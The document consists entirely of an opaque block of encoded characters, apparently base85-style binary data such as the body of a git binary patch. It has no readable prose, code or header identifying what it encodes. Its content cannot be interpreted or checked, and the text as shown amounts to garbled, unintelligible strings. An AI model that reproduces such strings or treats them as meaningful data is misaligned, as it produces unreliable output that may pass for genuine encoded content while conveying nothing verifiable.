z&*u8lbBcJJQICwr>wk`+wHvPNY@DEMN{YL&`jr%SELF0*^h`8qIw~Yd5aUNG2?EMf zVe2JLfBw*O=H}*l78N;p@t-MFWO^!;UHP50Uyz_!v$v3&vzBWgCP2A=Ik2R9$&IwVDmvJ^17` z8qmevMnkR(XxxXu!=SW5uNAhZr)mW?Ync?SwuG)-o|mH4mgt7z5fsgeaiI^_d@~oP zbtv<+4VAAx*J&GIZG8P{+qF$J{fR!2oVlP=eUIwFN|KGVl~FJFZqU9Yby;0XP#3$< zI4YCOxt4pmyIa3fdVS`1R_ntHS%L=7SJ-aM+hA+adf^j4(4x-C%Xs;be{Uq6hB|+4Dzm=+Z=^EliSoIq z3|gE$g~}KR_1sj(1pR0#lO!K0o-h>rag@W#v}UU-8w9~!NsL7jY;en4qEwM)-rmhF-F)3*g{E zgd{&oPzD?tp1K|AGM1O!R;V*<1wz2c4Pbp1x~UHFdQ`;jD#rS5v=yKqFs#aqaWPS0 zK=D{jj2(sl<&qrM*Au#GZRyzwUA4CS?;~_ol-xcOp{o+F`IUrDYU3IBfr?Yu(PEK* z)V}sZJZyEs>&oqqMUeyg7{E4`hc!nrC?Uhv7S%Wh+ul4>GKlVAz zOsjQrUX>-0o)d@nX*hxEN_7fOAY~lM>6kJ04zs}RS*gu$KP%f%U44GGp}P8SWE-k$ z&&M`Y*Pg&OY&{o~VA}gUf;E^LVb_&=tIL6)OOg5q7`dF9q*j2jQ*u%EHX<{v~;JejO4EO-!WEy zW|vWag~k3WEcWjm7Q0qk{wpl@UtzKT3XA<$SnR*TV*eEu`*#V8U8`;U6&Cvs42zxV z#UBO>!{%Df`$gJVpZ%O?T37v?8%4+cdf}4@`&Jf&`-`#5sj_mPdkErr&w_$i335&M zBKKo2O6*i_2DNt_MbQV(XUjwxGaJRiH<4J9B*2DcDl|;Hz)N;Qblogjf>>@kogwf0 zVH<6(VE4~67XbqXKVOJbXq@k#?wsvhoSc>N#$MI`K>L*LI_*p|T-tyO1W!%F+X9s0 z7}kZpu`eYCDxD&xz)q4%d3H;H#5f6K5DJdYunpJ<#cAUaitC=tR=;l^At|-RL8Z|4jz7jcG{i&%TPh?SQMgau<~91XEQ*cWva6h}uq29kIV z@)V1nknPEnA>M`cNa$r8Au|q;F`rs=wFLvb;r(7NJQN=Utp*MyB$%k9mD*0L#i#xI{>=(W0cfscI)KL*qaws}=7X?G1>$iYb$~fW zVV2*CP~`~C9#ly}2#M3NMCzQL0?dRn>U1&D1~J4mx8G2pWnJFzl!KCEGn|8lMWEEsY7x8(tzP4w4yt zO#}%q0_dU{ip@X|d(GE1;G8-G=fupjxd@DXpwQEjtA{=7S$B2V?NjdVN6$=i#uA|Q z(}DH)z)6GqmDnt>*p0;$jiT!N_Pd1|_baKdYWWta}U#-di{S+BYT z|A2J+10qFX59Muf5OmQ}dO#Gb2Ri}MJne(2U?7TDz8L}(6Ul5uV(oFO$oF3L$}(6? z04%6QXsvy{G|dwF@mVQm`OOjSTLSw!FyJ6pZe%8gY@lU;>OH_fJ3rl6Z;ELujP zGnA)(p%e~RLM3q(yt3lDCW9hUTxolMOUGtAdrI&`J{eHF9HN~I<%Mz=O5X{tewJF^ z34Cs*x(;aigF)!u1X3Y@Z+1p~m;oSP2teLj&`4d)(Pdo%7sp8$`<>Gt1Yxvt1KgwgxAV8KT z=nU({#dp6hzQ_L-7B4H8mBpeu-0b?jsD}(l_^&|8AIU8pu$!Hh$fvrZF0%3UGm$sg zaK62Sf8Q>Cd!r0{c&D^-%e^>XPz}qcL`TI#&DiSl@wXZRRGPm^o>?@%dbCHp>d~I* zMa?+B1$mZf5^*;2XyPmE>oVfH7HVK8Zl$~{%a2bd^S7)-rK+cx5wNBANfJ)rR z!GL1rDJ#-h6O|d>8ttRn(cZH;CKM>6U}PQG-NV%6>&uiQ^d#SbM!VW+mq$SRGrwx3 ziM-1W>0wJ={^T`bVE+LTa(3!&La00dQj0l)z7<>Ez^5G%kE@CoFX?MUyy5TnaS09K zm_sh?xOg!Z-iesHl|Skm%olvKf?xRna3}mDL&-&rB+APND`v>@L`ARi1*^At^uop` z1Z@W?Nh~Z}fQV#tp-AVg7YBPqSj#hMOY9rkdKLRRvn^d6jVU1PTHF$X?3>JHD!vFr zb*B$|HOVcea4;&iYG$8uRN5XMTj$AK1@`)0t(qGBM;ZL>(cTymv08nUOXdVQPuO+> z#LWz!i=Eb2yK77@I?1BbX_&>&i-m-GPB2w-(4Tp|n#K~xu_dRFX(1;&hUQR+_e*%Bfu)u4on*T3nbut546(XwhNDiDPRH`pY->4l z`%dO@k9?~uiQoz_98sUN1c3qr0}=TxX{kRsO!-t0CZkNJ)!=dsRLy!S)}+C#7t4cU z%1o?mBxb@cIBqhMIoEP#ovGOv4GTsJqFx?75$3)8!aQS@XTr%_+4BmqL}Ihsit9y~ z1`B8zhKnV3G8yJ1E+#Ny)pf@H;(V`cXr}bK6EPrBVoJgH@#|-G^L+f;j9N0ufwQ&4 z9lx$qc>{&Mo*85LXR}F)SW5kh#Hvr{(}vxCqt`XqDK`=o%vX}3<5CVE$B72}=2`q( zI%C%BDqB?Fn0V5u)I8Nrt0gs4uJCYO{jG?66RI|0tX`D7^rJW&($O9W$E(xwo3~Q= zG4>zgEd|PhDz`jwGLeKP|03^&H@#>Ov{c56!Dwv-$Ud|X+tl&HUd&9JKKO+~^Xem< zLM_y3n3aFi13UdM@U1bx>PAH>2g0#?2S= zdx_TdC$w(HXxKbn$7NOACp|2|F;cBFX$73ss{rJ`!1#X%g1&Li?4p+?+MyASH01DR zInIc7m^WnKwdhioG@9vKJnEyXpqTVd5w&93EXBo6&(NC7%4$EYF1ts)ZZ1vgw`w^c zcYuu9t#y{Q9F3Qq?h@m*rR5Zp@lFqA=F_`IH1a11@zHUEuiQGlMr@E}OsDHxDxAfS zQwYPU-OQ!(<7?F=lOHb$L5FBSDs!I5vz8(YU#qTIaoq2i8EHm0y)Z_@&wkKr;dOc^ zydLL*;`R@_|LdKXhr5m4*L%fW zA_v(p<9j`q-L863(AZ*b);ks^wXxVlfp#|oBI!z*4n4x7%|gc?qL294TDW9jFboDf zRu5|QnmBCmv54C6MPTQxFLZ}4An@Jvm24AcCA(msRq>hiZ$(Ygk%$#V0Sbl}oUDb3 zMX9#FAIA;&Kwz-dR;~CI73GlUhf^613b&F5PFQYGS@!qID)_X);dCo6pHM=Ny7%tg zAh-$c-@ms@cA`izPVCG(?0IsWkT9TcIobzdmGmQ0V&uq71$)xvVVmUs9^GfRpc_y%8V}wb`MgA@(iDLzrzPl(2)mo}!}}H7DdBh3I60*2f@D|~}W+fH}$y}3s5mGN^z4oZrY{2VstpT}!(LlaN zC?n%H;*naw4)*whzB5F7#R{qMPB{j@-fygVC_V=4^1?1I$4RYRpCaL~ z?}9sEYtU-}E>;XuMyd}*n8Mbm+b>q89~7EDj)>v)gK(i7E^n;ORTgNRhJX;TX0|*` zoc~+)Afb<|y*IB> zZZseZ-4gA4WqDB|zoe@z7|XZWA4#q^TmWRyW+cagWLOTG*$-!vZg@_B;vzSPf*TUC z`l#eRgqhLD1~{{!(h-Yn$mK&sr;aZ0|HH7uGzI>TPH1rzj`|f#*gSCp=MG?OpcS7* zYvvcjcgwKGp(}HAkO3}z{%`F30f_NUfLKLU2?|}b>T_n+TIX3A^*ZM}Cn{vD_sYUm zs>OpcN|+8Qh$lwO03>)MF5UJ=_tm9JZ3(f7UaAI!34JDH$t!HhGrENS+KRZYns%mQ zO@ZmpXF$=iex3I$O3X{M>>cjF88A0t;MI_0=ay>*r4@sI+wc1ee^850cgkmn=exY& zROs*Y9q9YDrN-Kd=s_oOH~7^}7p*cHHJ`c?rfFoNaRQ?e*TMm^0Dx!su!ax7-NnNQ zCWgAewC89~UcE2ZJ}>0qua}?4hESdLwBwwV!DT zeeSMpz@M-mFMRGtcfp|FT=*RKVgG@j<;^AddpmjRWgDGq}KcewE#fmSw;>OA~#^NnNgLMGUwh2@QRyd2EbiW4AGDs0zC$C zQ#rMx*W)=gZ@%ayXLB5hHpugWek(7)`_-e+p%)BsXMT=ddE5vQ!lIOc{JmgfQ6uB~ zxl3s9B`@dir{logO=?Q2)$7EX z0q+f?@^8KSNnOw?6j&$%HbYMMQ(HEUT`;u@uBJn)D=iJq%d=V8*thFmUbMbe*(eKQ zlb;d+r(2@d3Y{AJ4A_E;t1P7KO$zm*xV?-U3;eE#-^U(0<7Tv6seOEOG1jhrY^jI% z;|fZ0@wZYN-PIP<+p>IIb$5=BaQY|vY)I}#!)O3?&p&ydCLVgd*G3udXK^_@9T$_1 z(1QIX0^Ms4<{!cHic)d#+bHM_=X05idQmO8;vccw7)|Si&(o~@bj>o_k)Oz~*+K`| z;t-t}#9uKD2A4+|i;MNm@!{JIg~M-p;r%Z#Z0jmzboXw3gH#Mh@a@k0wz7aL;ZaM8 zT96dxuWu%=-_xLtlk8{ZN71x3r-ihc&ZRbf3}{0yCB5eFzVpUzM>2+y6*CDA;lkh_ z4Z~4Zg6f7x7Z}L&6aJJbYAJ;U-RYpcJ4bxa4lFzp4lh(pPYh|CZ57zz7-D7g@nTyA zT3^Om1&W*v%sH)9pjjrLBZXy#dY_sDm8$Mp4J+j{DT7F#nRHjBJW^hhB3s|TA#W@4Ps)oSG|*>0;Oe z2-`)|u15Py%k)E*jIjE2KV*-Nmg)+lu55{Fia#lJIlF*|a3OQVf3Hs8yltSApz-=- zZ@->jt~o}AR6w2mlLgjR@~QF};y2L0)xdP_#Y#djV|>1SF3PGp6T)U3p0PW8Dv4JD0g`i9? zi7YHP7*ld>TC+SIKTr=eD_xbc(C@{#QBBa5=%_{W;r6`4l!?nsrWvS!^H_h0qR+dmI&JeVP*{^5;OUOsr` z;lOW&c%kff%7BURg@n=gD7@g9*5Nedjp#$23<+fPT>a(FAM~VQ4SN1TqD&Cj>7?)7 z27W7G?Mqf11=PX#)F{M+B}tlNas$U{r;BkaFH|nuKum5qJapL!K`(ht#E;|P?M2B$ zw+8!&GqDi=k#d`M)Fc6rv!+2D3`zt8uifcdT;_$*sCfDFhu+Y?XCuNq5);y=!hk#! z)tE>OoU}s@5JAwF9+f2Sbe7;idgE8z_00EVcydURS5=em}A9(~sOK8F9PU z5t9eil#QQ#e|+?czj_Oo-xobIyJr?2h+{?Db0Atd+p}u$deV8(*VKdM;1eBy2cCo_;Fh z!hhiSCwLoPd_R?VEh4zs?*+6T;)>@T1Nm-RHxX#wt-P``S%?XUaKPRQP^(ioin>K@ z@~KzV%G%>r6)+ImLp-joiEC$d>Cd)yR@eU2Ye%DdJZd7-;6>UP%|-cVU1q09v}0DO z#SE}d*<0yWj*Y*jU1(%&1^p3Qf7JG_2tcvq0p2!F&-PExPIeoI2m43o`$g8+?XiRN z7OVfpAHsegtvsfwj~w%v4R)frpgoY~n8oIL>c|}lcj5GEe>SJoE#w|1mhC8m#Hpnn z9>j;W++Qrq^Rq0~rR9Gc%Tit1_>+;{YIWr=mgO&&Ww|<);PNRfOVzlE{*$bomG!?^ zmcLk*N3kr59wmGWEmzl9m4hH#x`fLHc#6xspgTY%!r=qchB01-9tUKSzaeC^{@kKt zX3PY)1-w|R({A=Ex5$jaz{00j^hxNh<{1iSZxmEXbmoE+F&s4F+bf5GtZukY>&$|a zob9NrX}5bsH1o8gFY}j$PX)8hB>KA)vcLTA77u>8y1DwOZA5oziVb9Q^G~*c)RtEN z)Efw+q=krBHvgQPMOq!bC_nAakT~MiYQ}xhl}5v2;ZxD7rTC?Im3sV}rjWjmpOo9t zilb#{#OQ<-NXw56zCA&jUg7mnDoKJly7Hf9hJA?o3JG+em{>`bYi&<~~emFq$V(lRZIQ|y0A#OXAhfF%vheOHPXXso5V}x!x zTBC0F!OH-(jorce>V=w%>?OjEY$ zqDP|JEgWg6fxI;490y?XyYTdt5>9fGkFW6|40&Qce^wrqa*3X2V3RxVtFV=_&&ecw zoOtH0RiHiiKY}mV)#b8h#Hnu0G`gV4Nfn#%hjiyb%eD2T$2jveT&l^|nUMgfYl&-A z7paCcs+j(qgh2@RCJ=?EP=QIyeq;F$TJ~xXpLOvosHr4CPn?nNOKD*RZ`gzcfM@rW+`?Hzs z&&S7gJ9kdMv3m>Xw1Ao!|b>QdM2ON&aU!BlrP1krPZyi1X4!k43!kQbTbj*ihMJnD2;1#^N9%5_Sz?j zVn`=EYbY7cnDDHjaQL|h&sw!MGs3f0U4I(kF)?b^lqUpxYSI&nRg^+R&r?7cqNKtohZO52VyHDLpP{}Gjcqn5jVPT_9IiIOhsls>gr6L08pxa~ zZKsq~yVXT~)}gyy)-{Sn{wKJn@%(nzxh~)SP?Rk&$4}T8(W`|tZr6kM^-o29#2+xW<^6Ye2B6L=fnuRH3@6~Jjl8I5qSRg zXXN?oE3@PI>nl&-`E1OZ5rR&Kmt;W;w_l1`2@O<>mKtl~pN0&eQjp$!yqLI_ITFZzD{O-HQM+HW{P1WtxebXe7d(`Tq z2Ji8XXUFex8%JKIaSY!hBK2TnzB;}?%JF@DZTqu1zOS#Z{mFc<);Cr@hwoJq`hRtO z|E#X>>szZI+4X&W>(3VHy1u>oCqF%3o!>u8ydFszbtxICs6F{G)-EY_FAN}NPuy5t z3A-Yt2l455*>QYd1)9eSG#la6mY-Ch*;rfulab_&_3BrF=Bq%1=W289BMUSen}4=A z*p02VuL8|ifo68me4BXTs{-*NRv`+-Bk^MDkiO|5O%vDmS21^X!jpNvxk;0GKG_7Q zdGZ9FKYh@h&CRDrt=zy60g$-w0&?RYt&We6hQ1iw;O|a%wI(e3%N^3I?G&Ui)Pmlv3;NFuK5P9i#J6mQ?7Sb-(H(GNrY`OPFVVRjp4a*9U(KPNXFgec z%O*zVPv_Z=;0xjIa_Kt~>2BS0QlZUB(kSJN6yNnt%t!j@_!fdaF1{s(R6eaLKL0!< zQy$MFz0F7K?;Q zr6Zx&Y1G85bM&Z4m@q}*sSBYe%(HxQgv-{-R$7G1bD$YRIPFM!K1QI+R<-&?1iEZZ zn}R8IJ{zAY&}FN-J)0TSs-G#)Wve#r9&k~uI~zG|(We4hSLNqL0m>yh9riscLoN$p z2l|@BHC54Hz$IHPz#-+EjKXE@oQ_(G;g63$pGS|*YIV}snuMeD_z;@}VB>jURIB;O zj_k5jh7=Ldb#0me8Y(o=Z$H78ZEJ1zj+R?%pV85BYkhW(mRsv&d7!d=_WTl{h1A2+4=}{W$Sa&mF*eQmF=~e#KjP*e5AM-hCMZ9iBpX2 zm6X63>S1hPjBb?_81pW`_;vW|5P$V7bSwb5wEG}$G0E{$OL^Wm z2(5#)_fQt>S@%wF)DvC1f8*bxwFVmY5F}kg>WZ*Y#0`n9(*Vlk4$}Y{UmVMOfWcb# zSg*GU(4Ovm>(p1Ij_vvA+ELH%J=;H^q!C;(?t0{O+f7)0uHx;rU9bJ`o54WVPb1fk zgMYku`Er?EEoi)C48z*IqXDWJzW*Sutu}05dql1oSZt0;MO;6ihcI2RVYQO$QKzG9MI%+yrmehG+-r6iMx|%5EX3hkyN`zx zDDEA4iFBNMtTK#y#3T#%2B#qb$(wO^)NP}2uM2~s>Si!K0O8%r7iFUmb!3O?)mm+9 zYnQ=QYyXFe7F!>N&dsf_DpSM1a47Ve{@h1*98_w48V%d#$|^n0{?EvvN^tV7(I>AL zJ@CE@>)L}c%KE-zF;9MXEGzxqIiRIFecvA9_K8vz^+yf#?$+`>*M>FEn0TqWYs{|o zaC7JMv2Jz`w&u>no?o5*_I>5#(3~bBkB8V(D$z>g&9L3}mSMkPPSzV+O_bMi9ifg8 zF)UA;3mKus%@9EW8n}I!sbh7!4{El*xbyJYtUzVp@wwCw?E zIKJiKiC&f;Ke!_lnsAWP2`b+iy8pHNc_K_On&Gmr5#jt>a#x~O1Iu@8=uTH(;;~Xg ze}se6lNAdRF03kVSFnq<^^G@+Y8pp<&$lf=ldkOp86_X7!Ke@XS7HXP4ig}NB7uPN z5Bf4<(1Th^*m6RDTNQdnX`*ZSXgBkA#8!2?CKlYjIK8aY{;%@t?U62};kFPk}6W5sYhQ;b)S z^QaR#cov*`8x{)5qF-|QSgx@MzjgU6i4u$gh<}y@6k!77X6Hz*c58JzYVEBS;z6W2 zA-)83hu%AA+wox_Jf*u^^xRuuUhyh_RoFi}eSY+!dGXWX@v$hZz%lB;>Rnr{HznqJ zuL{8t$%7QDZBtjGk(-k;bRF7-8ZH{%B`Eqmn@CA3HF5GRpun)~c*erv9*!IeeD|HGUdg8huQNty{26uv zHJZ!y-)pxK4V;_4({W%YfIL|p8(3V&!n#>O^oo)4#UqyJTUb)Q4}0r*Kv>kd>$!lz z9`3)@Rwbtb(hTt60NOw~JZ0|cX|hhG+BF>j^c)OqYbePeQ5{?<{})XlysG6;eJ;xnbDe-iXz~i+q|@2``~(%FV;}b|?o|-%h!E z;1?V63Spll0F*ZsKB; zvSQ}AG@z5ut0dPPlO7VK_brkYxbz8^CxVk7b_Q&s{jK z_aN>4%AU-ULcmu_cHXMlJ+yG6u)*dhb8u&gz1qq>E zY%KiN+$;UdD*gAh`eUWE{d%dfNS#~`L8e8v%pBty#9x%wTv#9jB@qKGjfVvMzBB9r z^r~po8mpqQ8i5AGv-!^3ZYwCnMc1F99v0pFzVU6NMj&X;2b?LH z5xe9K>=v>Ypw~kO2{)izP{Ld4W0u2ZtV6hncu3?qDssaggS*vQ6Vke$tFo35X$}%GdgdaE^mTxh}(tIU`hs+){$kt$lq`|Q^)(qoExNCKCWUbI? zap^J@mlhUx6Evl z%VS6sIXoJ=A}#7GMAWqVJu(FJNsVv-_dOqmYz^BH!cPOdLWWxUMar`<$Rz-Q>$OxQ zZRXkYgJR-AJExOo4&`$AKpGJ0u}ERje@u+f0MG)lPmYOzI(}I>upplpcJ3+cIWO|f zJbAE?)6%a)(3P}wf>d!|IBisYI}Qk<_^}DpU%R@i3*sF|t&J1l*PZM|2?#-Ae->Or1F+4i}#{={XvxWA5}z>e^K# z+?K`d88&d9&>PF=7P9q9Mi)C^>IH%BRW)RWGr-&$CF_aO<~2L%IZ58kRkLjzL1 zXcc$EaCSL2$->Iw?g!3#PvkT4GGdL&yUq4?1z>JWdnsX5jmEGM9}w3Rh9w_h-J;(G zmQmLm((kdgF>Qv`6|Nfzrz+{*q4C~S4dO^E8b62vbs1lnCxe`9J*z9LQ{PtUsEj=K zWLDD%% zOWg&ca6ZSUOgED6l#3^h@5Fk8wxXdt!*}qbZ{6HrY*4pr;sn0JEDpv{DSoDCp0`3V z7N7E6^JK>*G=9JPE{VZk6}NBGGu zvnTFf3R;-H37-w^u4}dJwp>o{x7VVcd#ARiaB+Ab@`g-h%2s6-tjZ};RnymURerjy z2{xvYwlmP(N~oum54jJ!xlBG1LOCR~D2S_L@87wEavtFvoaNN3TF>v9*Y|U@wsc8~ z*LC$g-P+~N=lk+%Qr`X1J8qi*klseVD9}z}@VD z=kUdZM0tJd@kCkQh`!TTq8|dv5)w=BPJWJPqh79pxzgc<3a>T1V|uFw-?I8>X{P&3 zlh%>PvZ8e`gE`We0(zbPH4xY6$C{Yy?-}r<%gFBYpz8EWbpfK*Md{$| z0+c*k-b10GnYaKmS`xsn?Hi}BZX?^SUycH85>RsSNgi9&ooB69U5}aPW4jQu$_Fhr zav7(LJ?Shh6Q)Hzq&knYbmwW8ixwyr2f*J@iHqK*L&afo9OrwdXtjh-@6R z@waw&-~kDQO&2h1ycNY%YH%K4O^yIDtkxT^Yk9Y51MmP0EUwj3MsJBdWQ6ze;vb$m zZ#j4g%S}>lwi4xL!*sZK7Y0NWrqr$%$yfm2Repa}sT6bYvq=q`G)Q<~X)OGPcCf}( zp#lGU-B_%^Kh??&nVv7ma_g}Pn{W5qOwS35-V)f$jy=SSbLg1|l-f^HH?dW7L8k3m z4}p6KUBC5(?X|1{wx(NN-92tR%E7Uoi+V|5TnMqLzA;7?{I5_^|E3SjBB|VJwa97% zG7l1Ox{H8Opb%tZUf=;r#_)xg1NjPD82v3_FH5qEeUz}RzVGe8sjugWT9Lu|1z&4u z1M^N!-o7+lq$~9<`+~qx?KjyT=K;pRrlYij?pv@xZ~E?CUs{Ph<&^?wp^6a5vDEEN~aIrsM|s!Z12`Ank%_s$c;0r$@9^zN?~07&yrK%nS$Z%$nf3m_Ll9pzH@A=1~Dc^i*= zlEmcsd5X+e+nTP{RZ@-+J?>~&Fis3+Gv-u2?ht05x$Uh_8jw5Vlc#`YgyRx6>UMw4 zU|d{-_yJt4u17G=;cg_3qeezD)gqVTKv`Mh?;#eRz(q@HgzH&hF^&Gn9JInNT;i2@*cTM zNe5oPN;&CktDCbD1`@EzmrKdR72}-A{eAQ<+0XNjsDldKqWF>U5kxk;*lkXJ^OsTK-*cce`}yVn8_H z?+@zTw)yz9$pgVZ>iKS8l)Sw0{$%gP(SCFPgum9m>UcL|G&?<^_opZIe$RM(ame4n zzjeOL+q7;-Hr)e9|_)k^IhOvB##XLs=FK`;oHL= zyP{Eq6P1N(!BO-nz^CN-4_#YbHp%-Z-~xy^@)t&mdG#V}wb0uw3eW)50Q?8K^YGth z+aBQcc#%FHxEKHdaJyXzpmp1G+hSvFO?@0R9Q8v@bJ;3<>?R!j-0l9g*OoD;iT&pr z5|AkQq9KRyM9u$-#E(1p_iI|Vq|WOh z8Z%CSP+lnrqs%T13No?$WUxj9r-OI}l0jaI94J*ZFAiVso$p4hy1)#7B}nreBehN5EcWY*=G1FQ!>?DD2hah;^-ZDXm%xD=EmiDLxU&^pta=}p` zmH(yPa&P+1f9*2CxD3*iI9~XJp7lVEdQ|gKeH9xDLBT2mqtXe`W3Sg!KEGH73FM07ueN09Ww)yyDzX~Wp2>{bDDBc$~%Nn-HV^bz$ zQLb26t^|{gz%cRkGN#}lFgW`=48*6|lOL7g!G%wu ziW;!KY1#k{!kwf9gkGnp0PCC6S^pBeRwFZtmn+FK^~J`68R$YRb|OCfmF@mH+3u8F z_A68U%2dBH)vru-I;Og@x;0y-y0KQB(ypdMQ-Zne==_l}|8cudrqXs7EexDVl%L!= z{nZ*g?^1-d3eZ-WZA&F?ruMSbbup0`Jz5V#{PsO6`DR z!7e3ylgImoUA7qI?-N^~$NhcZrIf+(*UEo6I!8QBr2)`bSN#GiLJyMXL;l6^I&l*C zlBb}WSYpKBAQ{G%Y_G08i>ZOhX3BaEehE%Kb+psOoWZ~`*g8+xv0!5o`%OXM-@07kv& z*aJYumEA@^pWOqle+)c6G+-Bvj0Q%^f=0h6(`djk3o@~C4LeR z_)m#Y>w^p+aPQ!~99_yKo=Q-uOKPAIJvSf9%|&@bv0F^jWU|f&IW)$93_rz`Q8^u> z+G={Y(6Vlv>lbLSufx2uEVN$BT`kvSW)zNC4#6vyuI+B87%`Qa_o97PgF>GLd?r%0 zZ*3D@P=DP!KRr5q0TSUAtU)obg2L}8s3I*YMs37oiKH@qGX%|b{ZQ!S9{2`F6oShe zp#!V)m_8)d0X~d}^NSsm-NhGZ)0l!~88S!*@Z zUSv5$VZ^Bbz*y`}-wn8Xa0V#bSdfcB-+)lfXHF=oawjADN0zQ;UVLLwNqwA6F!8`{ z`BnzcW+>W^ggHhpPx_D}d7rAFX9DLf5FFcmpl&1OU!+6Eo~F)|nh%CRV>?U^5{YnL zBxV)BWeo?#hpW~O7Zan|HGehLV@kvqka2XY;B?!dqY<_`H+@&)mQ1eXbVNvnu(F{JH0cjf71rsQ|IUo5H8JSecBbn~RWXm+tgTqkW)Ar@l z7eA+xRNK;oAPI==km9vaT@+Tww^?!NVw%q-rkX)KwmW1X3$;a+4%cFrF!b&L=@d6I zuLqjPFT}#?qL7)zfQFQFGI5nJvlST`voPHoh-*P~y@VRXP0Lg^6kzW$Bpqho?OH=h z2P_siL-g�QPl}eAK9S++LZgn5;3O>}HboDyr%Qq0Vjb*0BJd78`VMFwT@S*LgCj zQm`R1J)W5@4CO6Kk3;qBD6!j4nHTxPk7DQBLUcRD4&Y|dY%VA#p<3ZaStbK8Kl(QI zQ6Zt#PLc8lo4H>a`G!8`Th-7vjXa&*#o&{?@irf2csUVE2$NQ3Jt{v^0h^ReG0bTr z*b3F(|OyU9u;G4{h4?;HP7j02A4O!=`XjWRe- zz+QKhYiyjC-gWEohXZ82sXRHd>|1dM^B}|XKxGz?=5g`zXn(weO7{0LHW;pY6Bhsy z78<5qEdAPDE@p}!#S;Hf%*kXyF=ZV8r&8fcv9a5wEFzSj7Dy@%IC8s_nxl4(6OgRK zLAwj&fup^RHKEHT=H}8z`%DctV$|j`2+=|aINIk&uTBnkRF1qL+x5oQN^OPbkg9P9 zg#jp)e7miZgk6<-^nH;vEdYQiQwBpSG~qEc&MWwUSw1L#8IMe2EhnK&3$xaOUj7_R5g~gcBnZz?uP%?s9H1X+Qi+%v{P7o?$tp z#QvBpL|Kv@x=FgWRVe|4MAU)??psdYtto@>ora5+yI4ywsC2(m>J0dEag+ z3Y55JrT;^|3%h~8(um8g%Kw~sAc&a#^s@BxE0RGr)=JlawDcfMPbiZdeDHFQ->PLH zB5YDnO^0s>18ZqxZRtHyRJ`+^7vKHM96)YvcUQK>*J7PB9>TfLuEfFvoXwJNCh=G?&DXQ%>`Zoz5y%0Q!1x!YfaqT)H*#_8c7)fN3$b@I*r-#wk*{VU~Yf|lB6XCS?f|Q*INN;wt?g z{Jj|2v+}s1mY`S37NR5U+jpMpZH%F0|7TFLiO;s`0%({qU8YgMI5kQ*tro6~-D)Ln zc(5FEnWLK9Es9^03$!PcXZ^ zwUu=_gHAh>-O0$78<}^q$VXBxWRtxDOz2Voj80%X_3BplmI!a!OWR4HO?6#6_-J>v zgYZS|r@jYCUZBze+T6b0gnYdTneZlLeWkkgS#Cn0hRwW*UrS1&xJNWZd)6r)KJ`@C(4P=d@#HhN1g_HVcI20uyt96jzelI9C|6Hd`O9!2vQ-uUy1xnr>F zoi27sb(x*lZmt!A$j*^WNcnJ5bQd&MVb1t8#$$yr z7K;%#ikjViz?7`u&ufz(;+h$Nh=2Mn#smhRW`p{69n)k*VLZ0)$l_MbzPjATt*H%H8x|Th0>_}&I`oz8uk3c26>~q{90^{1&G?bug`5kxb zvoHhS-3_h5fSKWySSXSVcePkxGUfJd(L*O2BxJCSz&}U>Aa#Qzoq0jA=@`J?x648t z@+JC?xU$|~x89eR+U2DpcP0lAssMXs$sVs;#bp9#VOdy=llM4&j~9d#7O9lLS8eh< zi>yRF-+Xa=_H6ICdG`GI#o=Z1a_`ykVKdLw!@3x_dvhxi+o1lBcEqlu>w51~yx}sS zC`{ifvvf6Ym=qSQ>qRaKj+=)@1Vnfa$%iRALtOv~y^h!-i5uM^IL2l}-!Ox&({ex| zGOU}hnimdYF=8RvH|f%l6Bfu)X7GV>%Q7mgF2kUT9Lo>iJqRk(3MkOWkbZ?#JaC?r zs-dcvn=&Kv8dJ{I2-Qmte+(S7iqe#MACuIq>xc++YvlXNu#b+V7EXL;VJ7Ze`0R4sS;{fW~Wx}Mwd#V?LG z0*wp?5l$8&y;Q%6x~X#PwkjMY?~>$o7ukTq+4&M02LYc*I@?THm5dj3Z+sbdmZjKQ zldB=e^u+POGOfz~J}d_)<1K?Mfg0jJ@R;z8^pTKmvzR2)#?GvjB={7(AlLF z-UG^KyG&%5B5Khy*Mf0yPL2uvl_PmHL1ig$wiQ|1v0~Mndl`LQZd<lhnXOlq*=NyH1TA2AmrN_hve=LA%9|lG#j{LZyZT|;(jsoY} zz@^Xbp*5sMDQBe6963RVT4xub!y3SGk!Fxz-x?iQ-{mtQa4`Wbkz@2gv2-w(K_oSf zhN6ATJj^K&9>s&^yTn$tFEL3!@J--rXy00I9V{%{Nu&fWsYY60SeABxB2^_e7RK-^ zHVIpTQ@r8O0lJkam9WAm>grV$I$zuoT0#ddJ_OMN&7}g<4kRUIO4P7SDSvKW{KExN z_EtOtoex-?1*`D=zlYbWf4@e}AC$fy(2D0#stH9)-) zA4gnXmncR9bNvazL`|@8-MUn(JeVW{4D9DDeuArY?icRJTfEFhM9>% zXGU}A-ny|%*Kh#qEBDnE{-1h@X^Zfl%eh`=)Sn}1lI~|{wk7QhjWh)$>W$!_VOzJ3?P9a#j~mDF9_15Lt=%-8r6(>DMTMS-D&e4zsE87q!TDe??nW z{ZDiQuITPs_7xI>)JmqMOZgFFomYY851SObFty@36Tnq#ELFdf&dYhX7-*&w^dxkfxO`0-_Z!5hVW_ zMpCYsF)n?J%BpL9jDVo2XpBk*YdAYG@UM7uCZ~T92lNCQW_je?F&GW)l8>3^OsXdP z9Y@{NxI&~YYO@a{suUA_L~}3$J!Xb4N|^C`gXX6}9a%sk+M!C$tL#=y3qvKOf(W!A zSPe2=U15G&O(l1})mR{m|JwEa5xSzRfU6CB9pEm8($Kc4s=-&Rd9 z_`AHlT3#vF8t5;VIzZS@26_I|W_eYV%jGzj8i1)z3g-lf#t`oox5~9daB2=r#qg1y zNYHj{Pw^NTCB+rez7%nrYVws_Q5sg>3DyC263ju$Qd9=`f8>%xwD;)yi(-G?t8ji~ z&$~AE6Is|?+TDDZ!W_Lz}Q&&Cmw^|!JAW#V78eK$b{iWn(d;FNhkkHUd_cZH#Up2 zumuIuNb+&Q4NBKt$0>W)hdZ&;a=BiuiPBH>-|Lf|i}S-o1A1bQ0pg((><-&^<;p4i zmqEPJyAQPoSp4IoXC%-oH^l&fhc?>f%;q}JE#9b?j>}ml_UMgQkRT^;%%s8?=x8Br zYq&P~An^ZGIuY{_R5!?N`>xKaiQkhinrBd8cHc!9eE$Y2O1BFzYUSKqRO*c5L;ON0 z>H2Sy)CFgKifvz(NvLTz$ax9~7Tx{o;lqN;=xTCKxU)G$2LidZ-qH0Ze}4(r?55 zrnv!mr*u)U6+s1BPXxF2E+vWgXhSJe$ujK~h(0Z=ufY&4lLa+AStLZJ?_xI~;Qr_e 